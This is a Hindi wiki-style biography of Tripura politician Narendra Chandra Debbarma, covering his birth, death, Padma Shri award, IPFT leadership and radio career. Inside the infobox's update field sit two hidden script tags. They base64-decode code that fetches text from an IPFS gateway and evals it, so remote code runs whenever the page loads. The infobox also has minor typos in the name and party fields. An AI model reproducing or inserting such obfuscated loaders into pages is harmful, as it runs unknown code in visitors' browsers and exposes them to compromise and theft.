नरेंद्र चंद्र देबबर्मा
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नरेंद्र चंद्र देबबर्मा
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पूरा नाम | रेंद्र चंद्र देबबर्मा |
जन्म | 28 अगस्त, 1942 |
मृत्यु | 1 जनवरी, 2023 |
मृत्यु स्थान | अगरतला, त्रिपुरा |
कर्म भूमि | भारत |
कर्म-क्षेत्र | राजनीति |
पुरस्कार-उपाधि | पद्म श्री, 2023 |
प्रसिद्धि | राजनीतिज्ञ |
नागरिकता | भारतीय |
राजनीतिक दल | डिजिनस पीपुल्स फ्रंट ऑफ़ त्रिपुरा |
अद्यतन | 15:40, 21 जुलाई 2023 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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नरेंद्र चंद्र देबबर्मा (अंग्रेज़ी: Narendra Chandra Debbarma, जन्म- 28 अगस्त, 1942; मृत्यु- 1 जनवरी, 2023) एक भारतीय राजनीतिज्ञ थे, जो इंडिजिनस पीपुल्स फ्रंट ऑफ़ त्रिपुरा के अध्यक्ष और ऑल इंडिया रेडियो, अगरतला के निदेशक रहे। भारत सरकार ने उन्हें वर्ष 2023 के पद्म श्री सम्मान से नवाजा है।
- नेकां के नाम से लोकप्रिय नरेंद्र चंद्र देबबर्मा ने कई दशकों तक त्रिपुरा के सामाजिक और राजनीतिक जीवन में महत्वपूर्ण भूमिका निभाई।
- साल 2018 में भाजपा-आईपीएफटी सरकार के सत्ता में आने के बाद वह मंत्री बने।
- एक प्रमुख लेखक और बुद्धिजीवी एन. सी. देबबर्मा ने मंत्री के रूप में भी अपनी योग्यता साबित की, क्योंकि कई वरिष्ठ अधिकारियों ने स्वीकार किया कि उनसे सीखने के लिए बहुत कुछ है।
- अपने पेशेवर जीवन में नरेंद्र चंद्र देबबर्मा ने आकाशवाणी में सेवा की और लंबे समय तक अगरतला में स्टेशन निदेशक के कर्तव्यों का निर्वहन किया।
- 1 जनवरी, 2023 को मस्तिष्क में आघात के कारण अगरतला अस्पताल में इनकी मृत्यु हुई।
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टीका टिप्पणी और संदर्भ
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